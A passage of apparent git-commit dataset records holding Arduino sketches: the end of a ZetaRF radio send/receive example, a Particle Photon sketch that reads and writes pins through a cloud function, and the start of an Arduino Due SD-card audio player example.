Serial.println(pi.ID.U16);\n Serial.print(\"Customer: \"); Serial.println(pi.CUSTOMER);\n Serial.print(\"Rom ID : \"); Serial.println(pi.ROMID);\n Serial.print(\"Bond : \"); Serial.println(pi.BOND);\n Serial.print('\\n');\n\n const Si4455_FuncInfo &fi = zeta.readFuncInfo();\n Serial.print(\"Rev Ext : \"); Serial.println(fi.REVEXT);\n Serial.print(\"Rev Branch: \"); Serial.println(fi.REVBRANCH);\n Serial.print(\"Rev Int : \"); Serial.println(fi.REVINT);\n Serial.print(\"Patch : \"); Serial.println(fi.PATCH.U16);\n Serial.print(\"Func : \"); Serial.println(fi.FUNC);\n Serial.print(\"SVN Flags : \"); Serial.println(fi.SVNFLAGS);\n Serial.print(\"SVN Rev : \"); Serial.println(fi.SVNREV.U32);\n Serial.println(\"----------\");\/\/*\/\n \n \/\/ Set module in receive mode\n zeta.startReceiver();\n\n Serial.println(\"Init done.\");\n}\n\n\n\nvoid loop()\n{\n \/\/ Send any data received from serial\n if (Serial.available() && !transmitting) {\n int s = Serial.readBytes(data, ZETARF_PACKET_LENGTH);\n\n \/\/ Pad with zeros\n for (int i = s; i < ZETARF_PACKET_LENGTH; i++) {\n data[i] = 0;\n }\n\n Serial.print(\"Sending >\");\n Serial.write(data, ZETARF_PACKET_LENGTH);\n Serial.print(\"<\\n\");\n\n \/\/ Send buffer\n transmitting = true; \/\/ Only one at a time!\n zeta.sendPacket((const uint8_t*)data); \/\/ Use channel set with begin()\n }\n\n \/\/ Check if message was transmitted successfully\n if (zeta.checkTransmitted()) {\n transmitting = false;\n Serial.println(\"msg transmitted\");\n \/\/ Back into receive mode\n zeta.startReceiver();\n }\/\/*\/\n\n \/\/ Check incoming messages and print\n if (zeta.checkReceived()) {\n Serial.print(\"> \");\n zeta.readPacket((uint8_t*)data);\n Serial.write(data, ZETARF_PACKET_LENGTH);\n Serial.print('\\n');\n }\/\/*\/\n \n delay(10);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ZetaRFTxRx\/ZetaRFTxRx.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"37d4bf6bba1ab272c02a323157b72ce8366522d0","subject":"Create spark-web.ino","message":"Create spark-web.ino","repos":"hpssjellis\/particle-photon-web-page-control","old_file":"spark-web.ino","new_file":"spark-web.ino","new_contents":"\n\/\/PUT YOUR VARIABLES HERE\n\n\n\nvoid setup(){\n \n Spark.function(\"my-main\", myMain); \n \n \/\/PUT YOUR SETUP CODE HERE. Note: Only three more functions allowed!\n \/\/ test everything using the return int from a function!\n \n \n \/\/RGB.control(true);\n \/\/RGB.color(0, 255, 255); \/\/cyan\n RGB.brightness(1); \/\/ 1=very low light, 255 = max\n\n\n}\n\nvoid loop(){\n \n \/\/PUT YOUR LOOP CODE HERE\n\n}\n\nint myMain(String myCode) {\n \n myCode.toUpperCase(); \/\/ set argument to uppercase--remove for better security\n \n \/\/ used send instead of write since I needed it to be 4 characters long.\n \n\n \/\/ d7-send-1 or d7-send-high or d7-send-on to turn on D7\n \/\/ d7-send-0 or d7-send-low or d7-send-off to tuurn off D7\n \/\/ d5-read read D5\n\n \/\/ a0-send-0 turn A0 off\n \/\/ a0-send-255 turn A0 maximum\n \/\/ a1-read read A1\n \n \/\/ Block sets pinNumber for digital 0-7 or analog 10-17 from the number\n int mySetWrite = 0;\n int pinNumber = myCode.charAt(1) - '0';\n if (pinNumber< 0 || pinNumber >7) return -1; \n if (myCode.startsWith(\"A\")){pinNumber = pinNumber+10;} \/\/+10 is for analog numbers\n \n \n \n String myActivity = myCode.substring(3,7); \/\/ take 4 characters starting at the 3rd.\n \n \n \/\/Following sets the 7 and on characters to integers\n String myOptional = myCode.substring(8); \n if(myOptional == \"HIGH\") {mySetWrite = 1;}\n else if(myOptional == \"LOW\") {mySetWrite = 0; }\n else if(myOptional == \"ON\") {mySetWrite = 1;}\n else if(myOptional == \"OFF\") {mySetWrite = 0; }\n else {mySetWrite = myOptional.toInt(); } \/\/ sets write value\n \n \n \/\/ myCode parsing complete\n \n \n if (pinNumber < 9) { \/\/ digital pins activated\n \n if (myActivity == \"READ\"){ \/\/digital read\n pinMode(pinNumber, INPUT_PULLDOWN);\n return digitalRead(pinNumber);\n }\n \n if (myActivity == \"SEND\"){ \/\/digital write\n pinMode(pinNumber, OUTPUT);\n digitalWrite(pinNumber, mySetWrite);\n return mySetWrite;\n } \n \n \n } else { \/\/ analog pins activated\n \n if (myActivity == \"READ\"){ \/\/Analog read \/\/ pinMode(pinNumber, INPUT_PULLUP); \/\/ sets unknown to max 4095 analog read\n \/\/ pinMode(pinNumber, INPUT); \/\/ sets to input\n \/\/ pinMode(pinNumber, INPUT_PULLDOWN); \/\/ sets unknown to 0 min analog read\n \/\/ trying nothing, since with the new version of tinker this works\n return analogRead(pinNumber);\n }\n \n if (myActivity == \"SEND\"){ \/\/Analog Write\n pinMode(pinNumber, OUTPUT);\n analogWrite(pinNumber, mySetWrite);\n return mySetWrite;\n } \n }\n \n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'spark-web.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4baf3753868cab379946d438051e6fbc5c9268b9","subject":"modified comment example SimpleAudioPlayer.ino","message":"modified comment example SimpleAudioPlayer.ino\n","repos":"ricklon\/Arduino,stevemarple\/Arduino-org,eggfly\/arduino,henningpohl\/Arduino,ccoenen\/Arduino,NicoHood\/Arduino,lulufei\/Arduino,tommyli2014\/Arduino,andrealmeidadomingues\/Arduino,steamboating\/Arduino,wdoganowski\/Arduino,jaej-dev\/Arduino,byran\/Arduino,henningpohl\/Arduino,OpenDevice\/Arduino,stevemayhew\/Arduino,onovy\/Arduino,tannewt\/Arduino,paulo-raca\/ESP8266-Arduino,sanyaade-iot\/Arduino-1,mateuszdw\/Arduino,KlaasDeNys\/Arduino,ntruchsess\/Arduino-1,onovy\/Arduino,lukeWal\/Arduino,tskurauskas\/Arduino,jaimemaretoli\/Arduino,andrealmeidadomingues\/Arduino,tannewt\/Arduino,UDOOboard\/Arduino,bsmr-arduino\/Arduino,NeuralSpaz\/Arduino,bigjosh\/Arduino,EmuxEvans\/Arduino,stevemarple\/Arduino-org,Cloudino\/Cloudino-Arduino-IDE,smily77\/Arduino,adafruit\/ESP8266-Arduino,drpjk\/Arduino,Gourav2906\/Arduino,damellis\/Arduino,fungxu\/Arduino,karlitxo\/Arduino,scdls\/Arduino,andyvand\/Arduino-1,OpenDevice\/Arduino,Cloudino\/Arduino,xxxajk\/Arduino-1,zaiexx\/Arduino,eddyst\/Arduino-SourceCode,UDOOboard\/Arduino,shannonshsu\/Arduino,arunkuttiyara\/Arduino,EmuxEvans\/Arduino,danielchalef\/Arduino,chaveiro\/Arduino,leftbrainstrain\/Arduino-ESP8266,tommyli2014\/Arduino,ricklon\/Arduino,stevemayhew\/Arduino,tbowmo\/Arduino,lukeWal\/Arduino,wayoda\/Arduino,Protoneer\/Arduino,zenmanenergy\/Arduino,chaveiro\/Arduino,zenmanenergy\/Arduino,fungxu\/Arduino,lulufei\/Arduino,wayoda\/Arduino,karlitxo\/Arduino,ektor5\/Arduino,tbowmo\/Arduino,mateuszdw\/Arduino,talhaburak\/Arduino,aichi\/Arduino-2,SmartArduino\/Arduino-1,scdls\/Arduino,ikbelkirasan\/Arduino,NaSymbol\/Arduino,PeterVH\/Arduino,zenmanenergy\/Arduino,jaehong\/Xmegaduino,arunkuttiyara\/Arduino,plaintea\/esp8266-Arduino,ccoenen\/Arduino,tomkrus007\/Arduino,lulufei\/Arduino,niggor\/Arduino_cc,jamesrob4\/Arduino,andrealmeidadomingues\/Arduino,nkolban\/Arduino,vbextreme\/Arduino,nandojve\/Arduino,stevemayhew\/Arduino,jmgonzalez00449\/Arduino,Alfredynho\/AgroSis,rcook\/DesignLab,HCastano\/Arduino,ari-analytics\/Arduino,nandojve\/Arduino,KlaasDeNys\/Arduino,tbowmo\/Arduino,chaveiro\/Arduino,smily77\/Arduino,jaehong\/Xmegaduino,gberl001\/Arduino,wilhelmryan\/Arduino,majenkotech\/Arduino,ccoenen\/Arduino,damellis\/Arduino,ogahara\/Arduino,rcook\/DesignLab,Cloudino\/Cloudino-Arduino-IDE,ssvs111\/Arduino,tbowmo\/Arduino,majenkotech\/Arduino,ikbelkirasan\/Arduino,xxxajk\/Arduino-1,ogferreiro\/Arduino,Cloudino\/Arduino,ForestNymph\/Arduino_sources,jabezGit\/Arduino,sanyaade-iot\/Arduino-1,radut\/Arduino,nkolban\/Arduino,jmgonzalez00449\/Arduino,mateuszdw\/Arduino,laylthe\/Arduino,adamkh\/Arduino,tannewt\/Arduino,talhaburak\/Arduino,gonium\/Arduino,danielchalef\/Arduino,ForestNymph\/Arduino_sources,eggfly\/arduino,nandojve\/Arduino,eggfly\/arduino,stickbreaker\/Arduino,SmartArduino\/Arduino-1,vbextreme\/Arduino,NicoHood\/Arduino,laylthe\/Arduino,EmuxEvans\/Arduino,radut\/Arduino,HCastano\/Arduino,drpjk\/Arduino,ricklon\/Arduino,snargledorf\/Arduino,jaej-dev\/Arduino,jabezGit\/Arduino,eggfly\/arduino,byran\/Arduino,paulmand3l\/Arduino,jomolinare\/Arduino,benwolfe\/esp8266-Arduino,probonopd\/Arduino,benwolfe\/esp8266-Arduino,paulmand3l\/Arduino,niggor\/Arduino_cc,adamkh\/Arduino,ogferreiro\/Arduino,EmuxEvans\/Arduino,jaehong\/Xmegaduino,kidswong999\/Arduino,plaintea\/esp8266-Arduino,wilhelmryan\/Arduino,mboufos\/esp8266-Arduino,ThoughtWorksIoTGurgaon\/Arduino,wayoda\/Arduino,paulmand3l\/Arduino,Cloudino\/Arduino,kidswong999\/Arduino,eduardocasarin\/Arduino,jmgonzalez00449\/Arduino,kidswong999\/Arduino,jomolinare\/Arduino,Cloudino\/Arduino,plaintea\/esp8266-Arduino,PaoloP74\/Arduino,stevemayhew\/Arduino,plinioseniore\/Arduino,snargledorf\/Arduino,acosinwork\/Arduino,stickbreaker\/Arduino,benwolfe\/esp8266-Arduino,sanyaade-iot\/Arduino-1,xxxajk\/Arduino-1,onovy\/Arduino,probonopd\/Arduino,danielchalef\/Arduino,bigjosh\/Arduino,KlaasDeNys\/Arduino,pdNor\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,damellis\/Arduino,andyvand\/Arduino-1,NeuralSpaz\/Arduino,niggor\/Arduino_cc,aichi\/Arduino-2,ikbelkirasan\/Arduino,PaoloP74\/Arduino,weera00\/Arduino,mateuszdw\/Arduino,niggor\/Arduino_cc,arduino-org\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,fungxu\/Arduino,eduardocasarin\/Arduino,benwolfe\/esp8266-Arduino,superboonie\/Arduino,gberl001\/Arduino,tbowmo\/Arduino,onovy\/Arduino,steamboating\/Arduino,niggor\/Arduino_cc,noahchense\/Arduino-1,eggfly\/arduino,ntruchsess\/Arduino-1,steamboating\/Arduino,Chris--A\/Arduino,arduino-org\/Arduino,bsmr-arduino\/Arduino,henningpohl\/Arduino,bigjosh\/Arduino,arduino-org\/Arduino,toddtreece\/esp8266-Arduino,scdls\/Arduino,eggfly\/arduino,leftbrainstrain\/Arduino-ESP8266,eddyst\/Arduino-SourceCode,lukeWal\/Arduino,zederson\/Arduino,cscenter\/Arduino,wilhelmryan\/Arduino,stickbreaker\/Arduino,eeijcea\/Arduino-1,PaoloP74\/Arduino,mangelajo\/Arduino,kidswong999\/Arduino,arunkuttiyara\/Arduino,talhaburak\/Arduino,pdNor\/Arduino,nandojve\/Arduino,zaiexx\/Arduino,nandojve\/Arduino,ektor5\/Arduino,jaimemaretoli\/Arduino,eggfly\/arduino,SmartArduino\/Arduino-1,raimohanska\/Arduino,sanyaade-iot\/Arduino-1,jamesrob4\/Arduino,tskurauskas\/Arduino,ricklon\/Arduino,andrealmeidadomingues\/Arduino,gonium\/Arduino,mc-hamster\/esp8266-Arduino,mateuszdw\/Arduino,sanyaade-iot\/Arduino-1,UDOOboard\/Arduino,Alfredynho\/AgroSis,ntruchsess\/Arduino-1,jmgonzalez00449\/Arduino,piersoft\/esp8266-Arduino,ogahara\/Arduino,talhaburak\/Arduino,adafruit\/ESP8266-Arduino,ntruchsess\/Arduino-1,byran\/Arduino,shannonshsu\/Arduino,laylthe\/Arduino,raimohanska\/Arduino,ogferreiro\/Arduino,ashwin713\/Arduino,bsmr-arduino\/Arduino,jomolinare\/Arduino,NeuralSpaz\/Arduino,talhaburak\/Arduino,me-no-dev\/Arduino-1,mateuszdw\/Arduino,NicoHood\/Arduino,xxxajk\/Arduino-1,eddyst\/Arduino-SourceCode,HCastano\/Arduino,stevemarple\/Arduino-org,majenkotech\/Arduino,jaimemaretoli\/Arduino,cscenter\/Arduino,benwolfe\/esp8266-Arduino,jmgonzalez00449\/Arduino,laylthe\/Arduino,gberl001\/Arduino,NaSymbol\/Arduino,stevemayhew\/Arduino,wayoda\/Arduino,tbowmo\/Arduino,gurbrinder\/Arduino,ricklon\/Arduino,UDOOboard\/Arduino,eggfly\/arduino,gestrem\/Arduino,mc-hamster\/esp8266-Arduino,jamesrob4\/Arduino,damellis\/Arduino,weera00\/Arduino,jaej-dev\/Arduino,Gourav2906\/Arduino,gberl001\/Arduino,ogferreiro\/Arduino,ricklon\/Arduino,jmgonzalez00449\/Arduino,vbextreme\/Arduino,KlaasDeNys\/Arduino,onovy\/Arduino,PeterVH\/Arduino,tannewt\/Arduino,noahchense\/Arduino-1,gberl001\/Arduino,OpenDevice\/Arduino,Gourav2906\/Arduino,lulufei\/Arduino,scdls\/Arduino,spapadim\/Arduino,ricklon\/Arduino,leftbrainstrain\/Arduino-ESP8266,gonium\/Arduino,leftbrainstrain\/Arduino-ESP8266,jaimemaretoli\/Arduino,mattvenn\/Arduino,talhaburak\/Arduino,HCastano\/Arduino,NicoHood\/Arduino,wilhelmryan\/Arduino,stevemayhew\/Arduino,ccoenen\/Arduino,chaveiro\/Arduino,scdls\/Arduino,ikbelkirasan\/Arduino,Chris--A\/Arduino,niggor\/Arduino_cc,NaSymbol\/Arduino,andyvand\/Arduino-1,adafruit\/ESP8266-Arduino,nkolban\/Arduino,kidswong999\/Arduino,nkolban\/Arduino,garci66\/Arduino,OpenDevice\/Arduino,paulo-raca\/ESP8266-Arduino,adafruit\/ESP8266-Arduino,adafruit\/ESP8266-Arduino,gestrem\/Arduino,NeuralSpaz\/Arduino,mangelajo\/Arduino,gurbrinder\/Arduino,wdoganowski\/Arduino,gurbrinder\/Arduino,aichi\/Arduino-2,zaiexx\/Arduino,jaehong\/Xmegaduino,snargledorf\/Arduino,jabezGit\/Arduino,henningpohl\/Arduino,pdNor\/Arduino,stevemarple\/Arduino-org,cscenter\/Arduino,lulufei\/Arduino,garci66\/Arduino,smily77\/Arduino,tskurauskas\/Arduino,rcook\/DesignLab,superboonie\/Arduino,tomkrus007\/Arduino,laylthe\/Arduino,jaimemaretoli\/Arduino,nandojve\/Arduino,superboonie\/Arduino,eddyst\/Arduino-SourceCode,UDOOboard\/Arduino,koltegirish\/Arduino,jomolinare\/Arduino,noahchense\/Arduino-1,vbextreme\/Arduino,cscenter\/Arduino,lukeWal\/Arduino,jaehong\/Xmegaduino,zenmanenergy\/Arduino,andyvand\/Arduino-1,wayoda\/Arduino,Alfredynho\/AgroSis,Cloudino\/Cloudino-Arduino-IDE,ari-analytics\/Arduino,mattvenn\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,gestrem\/Arduino,OpenDevice\/Arduino,stickbreaker\/Arduino,drpjk\/Arduino,nandojve\/Arduino,eeijcea\/Arduino-1,stevemarple\/Arduino-org,ashwin713\/Arduino,paulmand3l\/Arduino,steamboating\/Arduino,shiitakeo\/Arduino,xxxajk\/Arduino-1,shiitakeo\/Arduino,tomkrus007\/Arduino,ikbelkirasan\/Arduino,myrtleTree33\/Arduino,spapadim\/Arduino,mangelajo\/Arduino,Protoneer\/Arduino,Chris--A\/Arduino,plinioseniore\/Arduino,aichi\/Arduino-2,Cloudino\/Arduino,PaoloP74\/Arduino,tomkrus007\/Arduino,vbextreme\/Arduino,PeterVH\/Arduino,byran\/Arduino,NicoHood\/Arduino,NaSymbol\/Arduino,gberl001\/Arduino,majenkotech\/Arduino,jabezGit\/Arduino,radut\/Arduino,plinioseniore\/Arduino,andrealmeidadomingues\/Arduino,mangelajo\/Arduino,talhaburak\/Arduino,ikbelkirasan\/Arduino,henningpohl\/Arduino,Chris--A\/Arduino,garci66\/Arduino,EmuxEvans\/Arduino,drpjk\/Arduino,rcook\/DesignLab,garci66\/Arduino,tommyli2014\/Arduino,karlitxo\/Arduino,ForestNymph\/Arduino_sources,bsmr-arduino\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,koltegirish\/Arduino,eddyst\/Arduino-SourceCode,arunkuttiyara\/Arduino,jomolinare\/Arduino,danielchalef\/Arduino,paulo-raca\/ESP8266-Arduino,paulo-raca\/ESP8266-Arduino,gestrem\/Arduino,probonopd\/Arduino,eeijcea\/Arduino-1,PaoloP74\/Arduino,eeijcea\/Arduino-1,PeterVH\/Arduino,superboonie\/Arduino,me-no-dev\/Arduino-1,danielchalef\/Arduino,onovy\/Arduino,stickbreaker\/Arduino,ssvs111\/Arduino,jaimemaretoli\/Arduino,mboufos\/esp8266-Arduino,ashwin713\/Arduino,koltegirish\/Arduino,ntruchsess\/Arduino-1,majenkotech\/Arduino,shiitakeo\/Arduino,cscenter\/Arduino,NaSymbol\/Arduino,probonopd\/Arduino,tommyli2014\/Arduino,jaimemaretoli\/Arduino,mangelajo\/Arduino,andyvand\/Arduino-1,pdNor\/Arduino,spapadim\/Arduino,raimohanska\/Arduino,cscenter\/Arduino,raimohanska\/Arduino,PeterVH\/Arduino,jaej-dev\/Arduino,piersoft\/esp8266-Arduino,gestrem\/Arduino,steamboating\/Arduino,ForestNymph\/Arduino_sources,zenmanenergy\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,ogferreiro\/Arduino,Cloudino\/Cloudino-Arduino-IDE,tommyli2014\/Arduino,NaSymbol\/Arduino,Chris--A\/Arduino,me-no-dev\/Arduino-1,adamkh\/Arduino,scdls\/Arduino,superboonie\/Arduino,tskurauskas\/Arduino,ogferreiro\/Arduino,stickbreaker\/Arduino,mateuszdw\/Arduino,myrtleTree33\/Arduino,KlaasDeNys\/Arduino,adamkh\/Arduino,toddtreece\/esp8266-Arduino,ektor5\/Arduino,Gourav2906\/Arduino,ashwin713\/Arduino,PaoloP74\/Arduino,jaehong\/Xmegaduino,ashwin713\/Arduino,eeijcea\/Arduino-1,PeterVH\/Arduino,byran\/Arduino,tomkrus007\/Arduino,myrtleTree33\/Arduino,lukeWal\/Arduino,ntruchsess\/Arduino-1,NaSymbol\/Arduino,Cloudino\/Cloudino-Arduino-IDE,eduardocasarin\/Arduino,Chris--A\/Arduino,EmuxEvans\/Arduino,ari-analytics\/Arduino,eduardocasarin\/Arduino,ssvs111\/Arduino,superboonie\/Arduino,paulo-raca\/ESP8266-Arduino,Gourav2906\/Arduino,NeuralSpaz\/Arduino,gberl001\/Arduino,HCastano\/Arduino,radut\/Arduino,SmartArduino\/Arduino-1,tbowmo\/Arduino,steamboating\/Arduino,plinioseniore\/Arduino,andyvand\/Arduino-1,Alfredynho\/AgroSis,nkolban\/Arduino,stevemayhew\/Arduino,superboonie\/Arduino,drpjk\/Arduino,lulufei\/Arduino,fungxu\/Arduino,bsmr-arduino\/Arduino,PaoloP74\/Arduino,myrtleTree33\/Arduino,gurbrinder\/Arduino,ForestNymph\/Arduino_sources,ThoughtWorksIoTGurgaon\/Arduino,zederson\/Arduino,stevemayhew\/Arduino,ashwin713\/Arduino,paulmand3l\/Arduino,me-no-dev\/Arduino-1,plaintea\/esp8266-Arduino,zederson\/Arduino,shannonshsu\/Arduino,paulmand3l\/Arduino,bsmr-arduino\/Arduino,shannonshsu\/Arduino,eddyst\/Arduino-SourceCode,Cloudino\/Cloudino-Arduino-IDE,zenmanenergy\/Arduino,shannonshsu\/Arduino,niggor\/Arduino_cc,chaveiro\/Arduino,spapadim\/Arduino,ssvs111\/Arduino,pdNor\/Arduino,mattvenn\/Arduino,chaveiro\/Arduino,zaiexx\/Arduino,ari-analytics\/Arduino,ektor5\/Arduino,drpjk\/Arduino,sanyaade-iot\/Arduino-1,aichi\/Arduino-2,eeijcea\/Arduino-1,tommyli2014\/Arduino,Protoneer\/Arduino,ari-analytics\/Arduino,pdNor\/Arduino,ccoenen\/Arduino,ogahara\/Arduino,wdoganowski\/Arduino,adamkh\/Arduino,koltegirish\/Arduino,ogahara\/Arduino,snargledorf\/Arduino,xxxajk\/Arduino-1,xxxajk\/Arduino-1,acosinwork\/Arduino,vbextreme\/Arduino,arduino-org\/Arduino,smily77\/Arduino,danielchalef\/Arduino,tannewt\/Arduino,acosinwork\/Arduino,NaSymbol\/Arduino,fungxu\/Arduino,gestrem\/Arduino,zaiexx\/Arduino,stevemarple\/Arduino-org,garci66\/Arduino,niggor\/Arduino_cc,plaintea\/esp8266-Arduino,laylthe\/Arduino,paulo-raca\/ESP8266-Arduino,Gourav2906\/Arduino,sanyaade-iot\/Arduino-1,ashwin713\/Arduino,karlitxo\/Arduino,laylthe\/Arduino,UDOOboard\/Arduino,jabezGit\/Arduino,ari-analytics\/Arduino,jmgonzalez00449\/Arduino,nkolban\/Arduino,probonopd\/Arduino,arduino-org\/Arduino,toddtreece\/esp8266-Arduino,jabezGit\/Arduino,gurbrinder\/Arduino,fungxu\/Arduino,mc-hamster\/esp8266-Arduino,wilhelmryan\/Arduino,ari-analytics\/Arduino,tannewt\/Arduino,eddyst\/Arduino-SourceCode,nkolban\/Arduino,tomkrus007\/Arduino,ssvs111\/Arduino,gonium\/Arduino,jabezGit\/Arduino,Protoneer\/Arduino,jamesrob4\/Arduino,niggor\/Arduino_cc,ThoughtWorksIoTGurgaon\/Arduino,zaiexx\/Arduino,ssvs111\/Arduino,onovy\/Arduino,weera00\/Arduino,andrealmeidadomingues\/Arduino,radut\/Arduino,ccoenen\/Arduino,byran\/Arduino,NeuralSpaz\/Arduino,ogferreiro\/Arduino,wilhelmryan\/Arduino,zederson\/Arduino,OpenDevice\/Arduino,superboonie\/Arduino,karlitxo\/Arduino,wilhelmryan\/Arduino,SmartArduino\/Arduino-1,henningpohl\/Arduino,jamesrob4\/Arduino,zederson\/Arduino,plinioseniore\/Arduino,chaveiro\/Arduino,pdNor\/Arduino,jmgonzalez00449\/Arduino,chaveiro\/Arduino,kidswong999\/Arduino,vbextreme\/Arduino,zederson\/Arduino,mattvenn\/Arduino,acosinwork\/Arduino,zenmanenergy\/Arduino,ashwin713\/Arduino,mattvenn\/Arduino,cscenter\/Arduino,Protoneer\/Arduino,Gourav2906\/Arduino,zaiexx\/Arduino,wdoganowski\/Arduino,noahchense\/Arduino-1,cscenter\/Arduino,adamkh\/Arduino,xxxajk\/Arduino-1,Protoneer\/Arduino,ektor5\/Arduino,eduardocasarin\/Arduino,vbextreme\/Arduino,ForestNymph\/Arduino_sources,paulo-raca\/ESP8266-Arduino,shannonshsu\/Arduino,aichi\/Arduino-2,PaoloP74\/Arduino,gurbrinder\/Arduino,mc-hamster\/esp8266-Arduino,weera00\/Arduino,leftbrainstrain\/Arduino-ESP8266,jabezGit\/Arduino,probonopd\/Arduino,jaej-dev\/Arduino,karlitxo\/Arduino,noahchense\/Arduino-1,shiitakeo\/Arduino,majenkotech\/Arduino,adafruit\/ESP8266-Arduino,tannewt\/Arduino,Gourav2906\/Arduino,smily77\/Arduino,byran\/Arduino,mangelajo\/Arduino,mangelajo\/Arduino,kidswong999\/Arduino,bigjosh\/Arduino,KlaasDeNys\/Arduino,garci66\/Arduino,bigjosh\/Arduino,arduino-org\/Arduino,PeterVH\/Arduino,NicoHood\/Arduino,ogahara\/Arduino,ccoenen\/Arduino,piersoft\/esp8266-Arduino,tommyli2014\/Arduino,lukeWal\/Arduino,me-no-dev\/Arduino-1,damellis\/Arduino,adamkh\/Arduino,snargledorf\/Arduino,Alfredynho\/AgroSis,Cloudino\/Arduino,eduardocasarin\/Arduino,spapadim\/Arduino,spapadim\/Arduino,mc-hamster\/esp8266-Arduino,NicoHood\/Arduino,gonium\/Arduino,SmartArduino\/Arduino-1,OpenDevice\/Arduino,plinioseniore\/Arduino,paulmand3l\/Arduino,andrealmeidadomingues\/Arduino,radut\/Arduino,koltegirish\/Arduino,gurbrinder\/Arduino,acosinwork\/Arduino,Chris--A\/Arduino,me-no-dev\/Arduino-1,UDOOboard\/Arduino,stickbreaker\/Arduino,myrtleTree33\/Arduino,NicoHood\/Arduino,spapadim\/Arduino,jaej-dev\/Arduino,SmartArduino\/Arduino-1,ccoenen\/Arduino,aichi\/Arduino-2,bigjosh\/Arduino,smily77\/Arduino,noahchense\/Arduino-1,bigjosh\/Arduino,ssvs111\/Arduino,wdoganowski\/Arduino,shannonshsu\/Arduino,piersoft\/esp8266-Arduino,lukeWal\/Arduino,talhaburak\/Arduino,arunkuttiyara\/Arduino,plinioseniore\/Arduino,noahchense\/Arduino-1,lukeWal\/Arduino,eddyst\/Arduino-SourceCode,wdoganowski\/Arduino,piersoft\/esp8266-Arduino,wayoda\/Arduino,snargledorf\/Arduino,tskurauskas\/Arduino,henningpohl\/Arduino,EmuxEvans\/Arduino,myrtleTree33\/Arduino,eduardocasarin\/Arduino,PeterVH\/Arduino,adamkh\/Arduino,damellis\/Arduino,ntruchsess\/Arduino-1,ogahara\/Arduino,danielchalef\/Arduino,Cloudino\/Cloudino-Arduino-IDE,HCastano\/Arduino,mboufos\/esp8266-Arduino,rcook\/DesignLab,wayoda\/Arduino,gonium\/Arduino,gonium\/Arduino,mboufos\/esp8266-Arduino,tskurauskas\/Arduino,NeuralSpaz\/Arduino,mattvenn\/Arduino,weera00\/Arduino,Chris--A\/Arduino,ari-analytics\/Arduino,snargledorf\/Arduino,scdls\/Arduino,drpjk\/Arduino,jomolinare\/Arduino,ntruchsess\/Arduino-1,leftbrainstrain\/Arduino-ESP8266,me-no-dev\/Arduino-1,steamboating\/Arduino,wdoganowski\/Arduino,adafruit\/ESP8266-Arduino,eeijcea\/Arduino-1,Alfredynho\/AgroSis,pdNor\/Arduino,andyvand\/Arduino-1,stevemarple\/Arduino-org,damellis\/Arduino,majenkotech\/Arduino,karlitxo\/Arduino,bigjosh\/Arduino,arunkuttiyara\/Arduino,fungxu\/Arduino,garci66\/Arduino,KlaasDeNys\/Arduino,HCastano\/Arduino,HCastano\/Arduino,jaimemaretoli\/Arduino,arduino-org\/Arduino,radut\/Arduino,garci66\/Arduino,raimohanska\/Arduino,rcook\/DesignLab,wayoda\/Arduino,koltegirish\/Arduino,shiitakeo\/Arduino,jaehong\/Xmegaduino,shannonshsu\/Arduino,tbowmo\/Arduino,ektor5\/Arduino,tomkrus007\/Arduino,Alfredynho\/AgroSis,nandojve\/Arduino,probonopd\/Arduino,ForestNymph\/Arduino_sources,tskurauskas\/Arduino,ikbelkirasan\/Arduino,leftbrainstrain\/Arduino-ESP8266,raimohanska\/Arduino,kidswong999\/Arduino,mboufos\/esp8266-Arduino,byran\/Arduino,Protoneer\/Arduino,shiitakeo\/Arduino,acosinwork\/Arduino,ikbelkirasan\/Arduino,zederson\/Arduino,jamesrob4\/Arduino,koltegirish\/Arduino,me-no-dev\/Arduino-1,KlaasDeNys\/Arduino,tskurauskas\/Arduino,bsmr-arduino\/Arduino,shiitakeo\/Arduino,tomkrus007\/Arduino,ogahara\/Arduino,weera00\/Arduino,gestrem\/Arduino,weera00\/Arduino,arduino-org\/Arduino,jaej-dev\/Arduino,jomolinare\/Arduino,arunkuttiyara\/Arduino,Cloudino\/Arduino,smily77\/Arduino,jamesrob4\/Arduino,rcook\/DesignLab,mattvenn\/Arduino,stevemarple\/Arduino-org,zaiexx\/Arduino,bsmr-arduino\/Arduino,lulufei\/Arduino,acosinwork\/Arduino,myrtleTree33\/Arduino,raimohanska\/Arduino,acosinwork\/Arduino,henningpohl\/Arduino","old_file":"libraries\/Audio\/examples\/SimpleAudioPlayer\/SimpleAudioPlayer.ino","new_file":"libraries\/Audio\/examples\/SimpleAudioPlayer\/SimpleAudioPlayer.ino","new_contents":"\/*\n Simple Audio Player\n\n Demonstrates the use of the Audio library for the Arduino Due\n \n Hardware required :\n * Arduino shield with a SD card on CS4\n * A sound file named \"test.wav\" in the root directory of the SD card \n * An audio amplifier to connect to the DAC0 and ground\n * A speaker to connect to the audio amplifier \n\n Original by Massimo Banzi September 20, 2012\n Modified by Scott Fitzgerald October 19, 2012\n \n This example code is in the public domain\n \n http:\/\/arduino.cc\/en\/Tutorial\/SimpleAudioPlayer\n\n*\/\n\n#include <SD.h>\n#include <SPI.h>\n#include <Audio.h>\n\nvoid setup()\n{\n \/\/ debug output at 9600 baud\n Serial.begin(9600);\n\n \/\/ setup SD-card\n Serial.print(\"Initializing SD card...\");\n if (!SD.begin(4)) {\n Serial.println(\" failed!\");\n return;\n }\n Serial.println(\" done.\");\n \/\/ hi-speed SPI transfers\n SPI.setClockDivider(4);\n\n \/\/ 44100Khz stereo => 88200 sample rate\n \/\/ 100 mSec of prebuffering.\n Audio.begin(88200, 100);\n}\n\nvoid loop()\n{\n int count=0;\n\n \/\/ open wave file from sdcard\n File myFile = SD.open(\"test.wav\");\n if (!myFile) {\n \/\/ if the file didn't open, print an error and stop\n Serial.println(\"error opening test.wav\");\n while (true);\n }\n\n const int S=1024; \/\/ Number of samples to read in block\n short buffer[S];\n\n Serial.print(\"Playing\");\n \/\/ until the file is not finished\n while (myFile.available()) {\n \/\/ read from the file into buffer\n myFile.read(buffer, sizeof(buffer));\n\n \/\/ Prepare samples\n int volume = 1024;\n 